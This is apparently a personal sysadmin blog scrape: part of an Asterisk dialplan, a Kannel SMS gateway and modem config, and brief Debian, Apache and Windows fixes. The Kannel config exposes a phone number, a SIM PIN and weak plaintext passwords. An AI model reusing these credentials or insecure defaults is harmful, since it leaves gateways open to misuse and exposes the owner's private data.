exten => _X.,n,Set(LOCAL(mbx)="${ext}"$["${cntx}" ? "@${cntx}" :: ""])
exten => _X.,n,Dial(${dev},20) ; Ring the interface, 20 seconds maximum
exten => _X.,n,Goto(stdexten-${DIALSTATUS},1) ; Jump based on status (NOANSWER,BUSY,CHANUNAVAIL,CONGESTION,ANSWER)

exten => stdexten-NOANSWER,1,Voicemail(${mbx},u) ; If unavailable, send to voicemail w/ unavail announce
exten => stdexten-NOANSWER,n,NoOp(Finish stdexten NOANSWER)
exten => stdexten-NOANSWER,n,Return() ; If they press #, return to start

exten => stdexten-BUSY,1,Voicemail(${mbx},b)
; If busy, send to voicemail w/ busy announce
exten => stdexten-BUSY,n,NoOp(Finish stdexten BUSY)
exten => stdexten-BUSY,n,Return() ; If they press #, return to start

exten => _stde[x]te[n]-.,1,Goto(stdexten-NOANSWER,1) ; Treat anything else as no answer

exten => a,1,VoicemailMain(${mbx}) ; If they press *, send the user into VoicemailMain
exten => a,n,Return()

[stdPrivacyexten]
;
; Standard extension subroutine:
; ${ARG1} - Extension
; ${ARG2} - Device(s) to ring
; ${ARG3} - Optional DONTCALL context name to jump to (assumes the s,1 extension-priority)
; ${ARG4} - Optional TORTURE context name to jump to (assumes the s,1 extension-priority)`
; ${ARG5} - Context in voicemail (if empty, then "default")
;
; See above note in stdexten about priority handling on exit.
;
exten => _X.,60000(stdPrivacyexten),NoOp(Start stdPrivacyexten)
exten => _X.,n,Set(LOCAL(ext)=${ARG1})
exten => _X.,n,Set(LOCAL(dev)=${ARG2})
exten => _X.,n,Set(LOCAL(dontcntx)=${ARG3})
exten => _X.,n,Set(LOCAL(tortcntx)=${ARG4})
exten => _X.,n,Set(LOCAL(cntx)=${ARG5})

exten => _X.,n,Set(LOCAL(mbx)="${ext}"$["${cntx}" ? "@${cntx}" :: ""])
exten => _X.,n,Dial(${dev},20,p) ; Ring the interface, 20 seconds maximum, call screening
; option (or use P for databased call _X.creening)
exten => _X.,n,Goto(stdexten-${DIALSTATUS},1) ; Jump based on status (NOANSWER,BUSY,CHANUNAVAIL,CONGESTION,ANSWER)

exten => stdexten-NOANSWER,1,Voicemail(${mbx},u) ; If unavailable, send to voicemail w/ unavail announce
exten => stdexten-NOANSWER,n,NoOp(Finish stdPrivacyexten NOANSWER)
exten => stdexten-NOANSWER,n,Return() ; If they press #, return to start

exten => stdexten-BUSY,1,Voicemail(${mbx},b) ; If busy, send to voicemail w/ busy announce
exten => stdexten-BUSY,n,NoOp(Finish stdPrivacyexten BUSY)
exten => stdexten-BUSY,n,Return() ; If they press #, return to start

exten => stdexten-DONTCALL,1,Goto(${dontcntx},s,1) ; Callee chose to send this call to a polite "Don't call again" script.

exten => stdexten-TORTURE,1,Goto(${tortcntx},s,1) ; Callee chose to send this call to a telemarketer torture script.

exten => _stde[x]te[n]-.,1,Goto(stdexten-NOANSWER,1) ; Treat anything else as no answer

exten => a,1,VoicemailMain(${mbx}) ; If they press *, send the user into VoicemailMain
exten => a,n,Return

[macro-page];
;
; Paging macro:
;
; Check to see if SIP device is in use and DO NOT PAGE if they are
;
; ${ARG1} - Device to page

exten => s,1,ChanIsAvail(${ARG1},s) ; s is for ANY call
exten => s,n,GoToIf([${AVAILORIGCHAN} = ""]?fail:autoanswer)
exten => s,n(autoanswer),Set(_ALERT_INFO="RA") ; This is for the PolyComs
exten => s,n,SIPAddHeader(Call-Info: Answer-After=0) ; This is for the Grandstream, Snoms, and Others
exten => s,n,NoOp() ; Add others here and Post on the Wiki!!!!
exten => s,n,Dial(${ARG1})
exten => s,n(fail),Hangup

[demo]
include => stdexten
;
; We start with what to do when a call first comes in.
;
exten => s,1,Wait(1) ; Wait a second, just for fun
exten => s,n,Answer ; Answer the line
exten => s,n,Set(TIMEOUT(digit)=5) ; Set Digit Timeout to 5 seconds
exten => s,n,Set(TIMEOUT(response)=10) ; Set Response Timeout to 10 seconds
exten => s,n(restart),BackGround(demo-congrats) ; Play a congratulatory message
exten => s,n(instruct),BackGround(demo-instruct) ; Play some instructions
exten => s,n,WaitExten ; Wait for an extension to be dialed.

exten => 2,1,BackGround(demo-moreinfo) ; Give some more information.
exten => 2,n,Goto(s,instruct)

exten => 3,1,Set(LANGUAGE()=fr) ; Set language to french
exten => 3,n,Goto(s,restart) ; Start with the congratulations

exten => 1000,1,Goto(default,s,1)
;
; We also create an example user, 1234, who is on the console and has
; voicemail, etc.
;
exten => 1234,1,Playback(transfer,skip) ; "Please hold while..."
; (but skip if channel is not up)
exten => 1234,n,Gosub(${EXTEN},stdexten(${GLOBAL(CONSOLE)}))
exten => 1234,n,Goto(default,s,1) ; exited Voicemail

exten => 1235,1,Voicemail(1234,u) ; Right to voicemail

exten => 1236,1,Dial(Console/dsp) ; Ring forever
exten => 1236,n,Voicemail(1234,b) ; Unless busy

;
; # for when they're done with the demo
;
exten => #,1,Playback(demo-thanks) ; "Thanks for trying the demo"
exten => #,n,Hangup ; Hang them up.

;
; A timeout and "invalid extension rule"
;
exten => t,1,Goto(#,1) ; If they take too long, give up
exten => i,1,Playback(invalid) ; "That's not valid, try again"

;
; Create an extension, 500, for dialing the
; Asterisk demo.
;
exten => 500,1,Playback(demo-abouttotry); Let them know what's going on
exten => 500,n,Dial(IAX2/guest@pbx.digium.com/s@default) ; Call the Asterisk demo
exten => 500,n,Playback(demo-nogo) ; Couldn't connect to the demo site
exten => 500,n,Goto(s,6) ; Return to the start over message.

;
; Create an extension, 600, for evaluating echo latency.
;
exten => 600,1,Playback(demo-echotest) ; Let them know what's going on
exten => 600,n,Echo ; Do the echo test
exten => 600,n,Playback(demo-echodone) ; Let them know it's over
exten => 600,n,Goto(s,6) ; Start over

;
; You can use the Macro Page to intercom a individual user
exten => 76245,1,Macro(page,SIP/Grandstream1)
; or if your peernames are the same as extensions
exten => _7XXX,1,Macro(page,SIP/${EXTEN})
;
;
; System Wide Page at extension 7999
;
exten => 7999,1,Set(TIMEOUT(absolute)=60)
exten => 7999,2,Page(Local/Grandstream1@page&Local/Xlite1@page&Local/1234@page/n,d)

; Give voicemail at extension 8500
;
exten => 8500,1,VoicemailMain
exten => 8500,n,Goto(s,6)
;
; Here's what a phone entry would look like (IXJ for example)
;
;exten => 1265,1,Dial(Phone/phone0,15)
;exten => 1265,n,Goto(s,5)

;
; The page context calls up the page macro that sets variables needed for auto-answer
; It is in is own context to make calling it from the Page() application as simple as
; Local/{peername}@page
;
[page]
exten => _X.,1,Macro(page,SIP/${EXTEN})

;[mainmenu]
;
; Example "main menu" context with submenu
;
;exten => s,1,Answer
;exten => s,n,Background(thanks) ; "Thanks for calling press 1 for sales, 2 for support, ..."
;exten => s,n,WaitExten
;exten => 1,1,Goto(submenu,s,1)
;exten => 2,1,Hangup
;include => default
;
;[submenu]
;exten => s,1,Ringing ; Make them comfortable with 2 seconds of ringback
;exten => s,n,Wait,2
;exten => s,n,Background(submenuopts) ; "Thanks for calling the sales department. Press 1 for steve, 2 for..."
;exten => s,n,WaitExten
;exten => 1,1,Goto(default,steve,1)
;exten => 2,1,Goto(default,mark,2)

[default]
;
; By default we include the demo. In a production system, you
; probably don't want to have the demo there.
;
include => demo

;
; An extension like the one below can be used for FWD, Nikotel, sipgate etc.
; Note that you must have a [sipprovider] section in sip.conf
;
;exten => _41X.,1,Dial(SIP/${FILTER(0-9,${EXTEN:2})}@sipprovider,,r)

; Real extensions would go here. Generally you want real extensions to be
; 4 or 5 digits long (although there is no such requirement) and start with a
; single digit that is fairly large (like 6 or 7) so that you have plenty of
; room to overlap extensions and menu options without conflict. You can alias
; them with names, too, and use global variables

;exten => 6245,hint,SIP/Grandstream1&SIP/Xlite1(Joe Schmoe) ; Channel hints for presence
;exten => 6245,1,Dial(SIP/Grandstream1,20,rt) ; permit transfer
;exten => 6245,n(dial),Dial(${HINT},20,rtT) ; Use hint as listed
;exten => 6245,n,Voicemail(6245,u) ; Voicemail (unavailable)
;exten => 6245,s+1,Hangup ; s+1, same as n
;exten => 6245,dial+101,Voicemail(6245,b) ; Voicemail (busy)
;exten => 6361,1,Dial(IAX2/JaneDoe,,rm) ; ring without time limit
;exten => 6389,1,Dial(MGCP/aaln/1@192.168.0.14)
;exten => 6390,1,Dial(JINGLE/caller/callee) ; Dial via jingle using labels
;exten => 6391,1,Dial(JINGLE/asterisk@digium.com/mogorman@astjab.org) ;Dial via jingle using asterisk as the transport and calling mogorman.
;exten => 6394,1,Dial(Local/6275/n) ; this will dial ${MARK}

;exten => 6275,1,Gosub(${EXTEN},stdexten(${MARK}))
; assuming ${MARK} is something like DAHDI/2
;exten => 6275,n,Goto(default,s,1) ; exited Voicemail
;exten => mark,1,Goto(6275,1) ; alias mark to 6275
;exten => 6536,1,Gosub(${EXTEN},stdexten(${WIL}))
; Ditto for wil
;exten => 6536,n,Goto(default,s,1) ; exited Voicemail
;exten => wil,1,Goto(6236,1)

;If you want to subscribe to the status of a parking space, this is
;how you do it. Subscribe to extension 6600 in sip, and you will see
;the status of the first parking lot with this extensions' help
;exten => 6600,hint,park:701@parkedcalls
;exten => 6600,1,noop
;
; Some other handy things are an extension for checking voicemail via
; voicemailmain
;
;exten => 8500,1,VoicemailMain
;exten => 8500,n,Hangup
;
; Or a conference room (you'll need to edit meetme.conf to enable this room)
;
;exten => 8600,1,Meetme(1234)
;
; Or playing an announcement to the called party, as soon it answers
;
;exten = 8700,1,Dial(${MARK},30,A(/path/to/my/announcemsg))
;

; example of a compartmentalized company called "acme"
;
; this is the context that your incoming IAX/SIP trunk dumps you in...
;[acme-incoming]
;exten => s,1,Wait(1)
;exten => s,n,Answer()
;exten => s,n(menu),Playback(acme/vm-brief-menu)
;exten => s,n(exten),Background(vm-enter-num-to-call)
;exten => s,n,WaitExten(5)
;exten => s,n(goodbye),Playback(vm-goodbye)
;exten => s,n(end),Hangup()
;
;include => acme-extens
;
;exten => i,1,Playback(vm-invalid)
;exten => i,n,Goto(s,exten) ; optionally, transfer to operator
;
;exten => t,1,Goto(s,goodbye)
;
; this is the context our internal SIP hardphones use (see sip.conf)
;
;[acme-internal]
;exten => s,1,Answer()
;exten => s,n(exten),Background(vm-enter-num-to-call)
;exten => s,n,WaitExten(5)
;exten => s,n(goodbye),Playback(vm-goodbye)
;exten => s,n(end),Hangup()
;
;include => trunkint
;include => trunkld
;include => trunklocal
;
;include => acme-extens
;
; you can test what your system sounds like to outside callers by dialing this
;exten => 777,1,DISA(no-password,acme-incoming)
;
; grouping of acme's extensions... never used directly, always included.
;
;[acme-extens]
;include => stdexten
;exten => 111,1,Gosub(111,stdexten(SIP/pete_1,acme))
;exten => 111,n,Goto(s,exten)
;
;exten => 112,1,Gosub(112,stdexten(SIP/nancy_1,acme))
;exten => 112,n,Goto(s,end)
;
; end of acme example

;
; Time context: you can patch this in via the following.
;
; [acme-internal]
; ...
; exten => 777,1,Gosub(time)
; exten => 777,n,Hangup()
;
; ...
; include => time
;
; Note: if you're geographically spread out, you can have SIP extensions
; specify their own local timezone in sip.conf as:
;
; [boi]
; type=friend
; context=acme-internal
; callerid="Boise Ofc. <2083451111>"
; ...
; ; use system-wide default timezone of MST7MDT
;
; [lws]
; type=friend
; context=acme-internal
; callerid="Lewiston Ofc. <2087431111>"
; ...
; setvar=timezone=PST8PDT
;
; "timezone" isn't a 'reserved' name in any way, and other places where
; the timezone is significant (e.g. calls to "SayUnixTime()", etc) will
; require modification as well. Note that voicemail.conf already has
; a mechanism for timezones.
;

[time]
exten => _X.,30000(time),NoOp(Time: ${EXTEN} ${timezone})
exten => _X.,n,Wait(0.25)
exten => _X.,n,Answer()
; the amount of delay is set for English; you may need to adjust this time
; for other languages if there's no pause before the synchronizing beep.
exten => _X.,n,Set(FUTURETIME=$[${EPOCH} + 12])
exten => _X.,n,SayUnixTime(${FUTURETIME},Zulu,HNS)
exten => _X.,n,SayPhonetic(z)
; use the timezone associated with the extension (sip only), or system-wide
; default if one hasn't been set.
exten => _X.,n,SayUnixTime(${FUTURETIME},${timezone},HNS)
exten => _X.,n,Playback(spy-local)
exten => _X.,n,WaitUntil(${FUTURETIME})
exten => _X.,n,Playback(beep)
exten => _X.,n,Return()

;
; ANI context: use in the same way as "time" above
;

[ani]
exten => _X.,40000(ani),NoOp(ANI: ${EXTEN})
exten => _X.,n,Wait(0.25)
exten => _X.,n,Answer()
exten => _X.,n,Playback(vm-from)
exten => _X.,n,SayDigits(${CALLERID(ani)})
exten => _X.,n,Wait(1.25)
exten => _X.,n,SayDigits(${CALLERID(ani)}) ; playback again in case of missed digit
exten => _X.,n,Return()

; For more information on applications, just type "core show applications" at your
; friendly Asterisk CLI prompt.
;
; "core show application " will show details of how you
; use that particular application in this file, the dial plan.
; "core show functions" will list all dialplan functions
; "core show function " will show you more information about
; one function. Remember that function names are UPPER CASE.

[general]
static=yes
writeprotect=yes
autofallthrough=yes
clearglobalvars=yes
priorityjumping=no

; Secure context for outgoing calls from local SIP phones
[secure]
; Internal calls
include => default
; Parked calls
include => parkedcalls
; Emergency calls
exten => 911,1,Dial(SIP/${EXTEN}@vonage-sip,60,r)
; Local calls
exten => _NXXXXXX,1,Dial(SIP/${EXTEN}@vonage-sip,60,r)
; Long distance calls
exten => _1NXXNXXXXXX,1,Dial(SIP/${EXTEN}@vonage-sip,60,r)

[vonage-exten]
; An incoming call from Vonage rings local extension 1011 and 1012
; All voicemail goes to mailbox 1000
exten => 12125551234,1,Dial(SIP/1011&SIP/1012,20)
exten => 12125551234,n,Voicemail(su1000)
exten => 12125551234,n,Hangup

; Press * during voicemail greeting to retrieve your messages
exten => a,1,VoicemailMain(1000)
exten => a,n,Hangup

[default]
; Local extension to retrieve your messages
exten => 1000,1,VoicemailMain(s1000)
exten => 1000,n,Hangup

; Local SIP phone at extension 1011
; All voicemail goes to mailbox 1000
exten => 1011,1,Dial(SIP/1011,45)
exten => 1011,n,Voicemail(su1000)
exten => 1011,n,Hangup

; Local SIP phone at extension 1012
; All voicemail goes to mailbox 1000
exten => 1012,1,Dial(SIP/1012,45)
exten => 1012,n,Voicemail(su1000)
exten => 1012,n,Hangup

Kannel configuration file

2010-09-12T21:28:00.000-07:00

Here is my current Kannel SMS gateway configuration file for use with a GSM modem.

--------------- kannel.conf ------------

#
# THIS IS A SAMPLE CONFIGURATION FOR SMS KANNEL
#
# It is run like this:
#
# 1% gw/bearerbox gw/smskannel.conf
# 2% gw/smsbox gw/smskannel.conf
# 3% test/fakesmsc -p 10000 -H localhost -i 1 -m 100 "123 345 text nop"
#
# ..all 3 commands in separate shells (or screen sessions)
#
# For any modifications to this file, see Kannel User Guide
# If that does not help, send email to users@...
#
# Kalle Marjola May 2000
# Changed for new fakesmsc version by Uoti Urpala Jan 2001
# Added service and sendsms for HTTP SMSC by Kalle Marjola Mar 2001
#

group = core
admin-port = 13000
smsbox-port = 13001
admin-password = bar
status-password = foo
admin-deny-ip = ""
admin-allow-ip = "127.0.0.1"
log-file = "/var/log/kannel.log"
log-level = 0
box-deny-ip = "*.*.*.*"
box-allow-ip = "127.0.0.1"
unified-prefix = "00358,0"
#access-log = "access.log"
#store-file = "kannel.store"
#ssl-certkey-file = "mycertandprivkeyfile.pem"
dlr-storage = mysql

# SMSC CONNECTIONS
#
#group = smsc
#smsc = fake
#smsc-id = FAKE
#port = 10001
#connect-allow-ip = 127.0.0.1

#NOKIA 7110
#group = smsc
#smsc = at2
#smsc-id = 7110
#modemtype=nokiaphone
#device=/dev/ttyS0
#speed = 19200
#pin=1234
#include=/usr/local/etc/modems.conf

#NOKIA N70-1
group = smsc
smsc = at
smsc-id = N70
modemtype = auto
device = /dev/ttyACM0
my-number = 0725529969
connect-allow-ip = 127.0.0.1
log-level = 0
speed = 460800
pin = 6594
include = /etc/kannel/modems.conf

#AUTO_CONF
#group = smsc
#smsc = at
#modemtype = auto
#device=/dev/ttyACM0
#my-number = 254725529969
#connect-allow-ip = 127.0.0.1
#log-level = 0

# SMSBOX SETUP

group = smsbox
bearerbox-host = localhost
sendsms-port = 13013
global-sender = 13013
sendsms-chars = "0123456789 +-"
log-file = "/var/log/smsbox.log"
log-level = 0
access-log = "access.log"

# SEND-SMS USERS

group = sendsms-user
username = tester
password = foobar
#user-deny-ip = ""
#user-allow-ip = ""

# this sender is for Kannel relay testing (http_smsc)

group = sendsms-user
username = kannel
password = rL4y
user-deny-ip = "*.*.*.*"
user-allow-ip = "127.0.0.1"

# SERVICES

group = sms-service
keyword = nop
text = "You asked nothing and I did it!"

# this service is for Kannel relay testing, when this Kannel
# works as relay gateway

group = sms-service
keyword = relay
get-url = "http://localhost:15130/sms?user=kannel&pass=rL4y&from=%p&to=%P&text=%r"
max-messages = 0

# there should be default always

group = sms-service
keyword = default
text = "No service specified"

#
# DLR with MySQL support configuration
#
# Example defining a MySQL database connection resource and
# the required table and field values.
#

group = mysql-connection
id = mydlr
host = localhost
username = root
password = "xxxxxx"
database = kannel
# max count of connections that will be opened for dbpool
# default is 1
max-connections = 1

group = dlr-db
id = mydlr
table = dlr
field-smsc = smsc
field-timestamp = ts
field-destination = destination
field-source = source
field-service = service
field-url = url
field-mask = mask
field-status = status
field-boxc-id = boxc

#Modem Detection
group = modems
id = sonyericsson_k800
name = "Sony Ericsson K800"
detect-string = "Sony Ericsson"
detect-string2 = "K800"
init-string = "AT+CNMI=2,3"
#message-storage = "SM"
enable-mms = true

#Modem Detection
group = modems
id = nokia_6610
name = "Nokia 6610"
detect-string = "Nokia"
detect-string2 = "6610"
init-string = "AT+CNMI=1,2,0,1,0"
message-storage = "SM"
enable-mms = true

-------- modems.conf ---------------

# Modems configuration
#
# Example and default values
#
# group = modems
# id = "my-id"
# name = "my-name"
# detect-string = "MODEM"
# detect-string2 = "" [Default]
# init-string = "AT+CNMI=1,2,0,0,0" [Default]
# speed = 9600 [Default]
# enable-hwhs = "AT+IFC=2,2" [Default]
# need-sleep = false [Default]
# no-pin = false [Default]
# no-smsc = false [Default]
# sendline-sleep = 100 [Default, miliseconds]
# keepalive-cmd = "AT" [Default]
# broken = false [Default]
# message-storage = "SM"
# enable-mms = false [Default]

# If modemtype=auto, try everyone and defaults to this one
group = modems
id = generic
name = "Generic Modem"

group = modems
id = wavecom
name = Wavecom
detect-string = "WAVECOM"

group = modems
id = premicell
name = Premicell
detect-string = "PREMICEL"
no-pin = true
no-smsc = true

group = modems
id = siemens_tc35
name = "Siemens TC35"
detect-string = "SIEMENS"
detect-string2 = "TC35"
init-string = "AT+CNMI=1,2,0,1,1"
speed = 19200
enable-hwhs = "AT\\Q3"
need-sleep = true

group = modems
id = siemens_m20
name = "Siemens M20"
detect-string = "SIEMENS"
detect-string2 = "M20"
speed = 19200
enable-hwhs = "AT\\Q3"
keepalive-cmd = "AT+CBC;+CSQ"
need-sleep = true

group = modems
id = siemens_sl45
name = "Siemens SL45"
detect-string = "SIEMENS"
detect-string2 = "SL45"
init-string = "AT+CNMI=1,2,2,2,1"
keepalive-cmd = "AT+CBC;+CSQ"
speed = 19200
enable-hwhs = "AT\\Q3"
need-sleep = true
message-storage = "SM"

group = modems
id = nokiaphone
name = "Nokia Phone"
detect-string = "Nokia Mobile Phone"
need-sleep = true
keepalive-cmd = "AT+CBC;+CSQ"
enable-mms = true

group = modems
id = falcom
name = "Falcom"
detect-string = "Falcom"
#no-smsc = true

group = modems
id = ericsson_r520m
name = "Ericsson R520m"
detect-string = "R520m"
init-string = "AT+CNMI=3,2,0,0"

group = modems
id = ericsson_t68
name = "Ericsson T68"
detect-string = "T68"
init-string = "AT+CNMI=3,3"
keepalive-cmd = "AT+CBC;+CSQ"
broken = true

group = modems
id = sonyericsson_gr47
name = "Sony Ericsson GR47"
detect-string = "GR47"
message-storage = "ME"
# use this init-string for non sim-buffering
init-string = "AT+CNMI=3,2,0,0"
# use this init-string for sim-buffering
#init-string = "AT+CNMI=3,1,0,0"
reset-string = "ATZ"
broken = true

group = modems
id = alcatel
name = "Alcatel"
detect-string = "Alcatel"
init-string = "AT+CNMI=3,2,0,0"

group = modems
id = sonyericsson_T630-T628
name = "Sony Ericsson T630-T628?
init-string = "AT+CNMI=2,3,2,0,0;+CMGF=0?
keepalive-cmd = "AT+CBC;+CSQ;+CMGF=0?
broken = true

Blank screen loading xorg on Debian Lenny on iMac 3G

2010-05-04T19:11:00.000-07:00

Solved via this link: http://forums.debian.net/viewtopic.php?f=7&t=36188&start=0

The system cannot find specified file. (0x80070002) error, Windows 7

2010-03-31T17:30:00.000-07:00

The system cannot find specified file. (0x80070002) error, Windows 7

The solution to this problem is to reload/reinstall registry entries for your services. It seems some critical services were turned off, etc, causing a generic backup error.

Download your proper registry files here: http://www.blackviper.com/Windows_7/registry.htm

Zend Optimizer and PHP 5.3.x

2010-03-10T02:10:00.000-08:00

PHP files encoded with the zend engine for php version 2.5.x need to be recompiled to reflect changes in the 5.3.x interpreter, or will require reverting back to php 5.2.x.

APXS was not found, so mod_suphp will not be built!

2010-02-28T09:42:00.000-08:00

APXS was not found, so mod_suphp will not be built!

The trick was running "./configure --with-apxs=/usr/bin/apxs2", then "make", "make test", "make install"

host multiple domain SSL certificates with one ip address

2009-12-23T13:04:00.000-08:00

Ha! I finally think I found a way to host multiple domain SSL certificates using just 1 ip address. One glance at the website gives you a headache though. Apparently the trick is a module for apache called SNI? Whatever, as long as it works for what I'm trying to do... - http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI

SparesMissing event on /dev/md0:server1

2009-11-22T15:06:00.000-08:00

If you are getting emails from mdadm, like the one below:

This is an automatically generated mail message from mdadm
running on server1

A SparesMissing event had been detected on md device /dev/md0.

Faithfully yours, etc.

P.S. The /proc/mdstat file currently contains the following:

Personalities : [raid1]
md0 : active raid1 hda1[0] hdc1[1]
117788480 blocks [2/2] [UU]

unused devices:

the solution to the problem was to edit /etc/mdadm/mdadm.conf, and change spares=1 to spares=0

Hibernation on Windows 7 and Windows Vista

2009-11-09T23:24:00.000-08:00

If you are curious on how to enable hibernation, check out this link.

Mac OS X on Windows

2009-11-09T22:27:00.001-08:00

Ever wondered if you can install Mac OS X and run it outside of Apple hardware? Well, you can. I've found a wonderful tutorial on line that I can verify works correctly. Try it out yourself. :) - here

Amanda Linux backup utility

2009-10-26T21:48:00.001-07:00

I highly recommend Amanda backup utility for linux. You can find more at http://www.amanda.org

Microsoft's Readyboost

2009-10-15T11:19:00.000-07:00

I finally get a chance to utilize Microsoft's Readyboost feature. - http://en.wikipedia.org/wiki/Readyboost

Windows 7

2009-08-09T19:29:00.001-07:00

I can't wait until Windows 7 comes released, and I'm able to purchase a new laptop with it......

It'll be here before I know it. :)

Setting up Bootlog for Debian

2009-04-27T19:32:00.000-07:00

Edit file /etc/default/bootlogd

Change

# Run bootlogd at startup ?
BOOTLOGD_ENABLE=No

to

# Run bootlogd at startup ?
BOOTLOGD_ENABLE=Yes

Warning: SuexecUserGroup directive requires SUEXEC wrapper.

2009-04-14T17:03:00.000-07:00

Apache is obviously complaining about suexec in the apache error logs. I finally found the solution.

apt-get install apache2-suexec

ntpd[3122]: kernel time sync error 0001

2009-04-12T17:21:00.000-07:00

The solution to this problem is updating the kernel because of a newer ntpd version.

Upgrading Debian Etch to Debian Lenny

2009-04-04T11:48:00.000-07:00

Ensure your Etch installation is up to date (aptitude update; aptitude dist-upgrade). Edit your /etc/apt/sources.list and change all non-local mentions of "etch" or "stable" to "lenny". aptitude update; aptitude install aptitude; aptitude safe-upgrade; aptitude full-upgrade.

warning: SASL authentication failure: cannot connect to saslauthd server: Permission denied

2009-04-04T11:47:00.000-07:00

The solution to this problem is as follows:

adduser postfix sasl

updating debian / ubuntu

2009-03-16T10:25:00.000-07:00

To update your debian/ubuntu system, you will need to run;

apt-get update

then

apt-get upgrade -y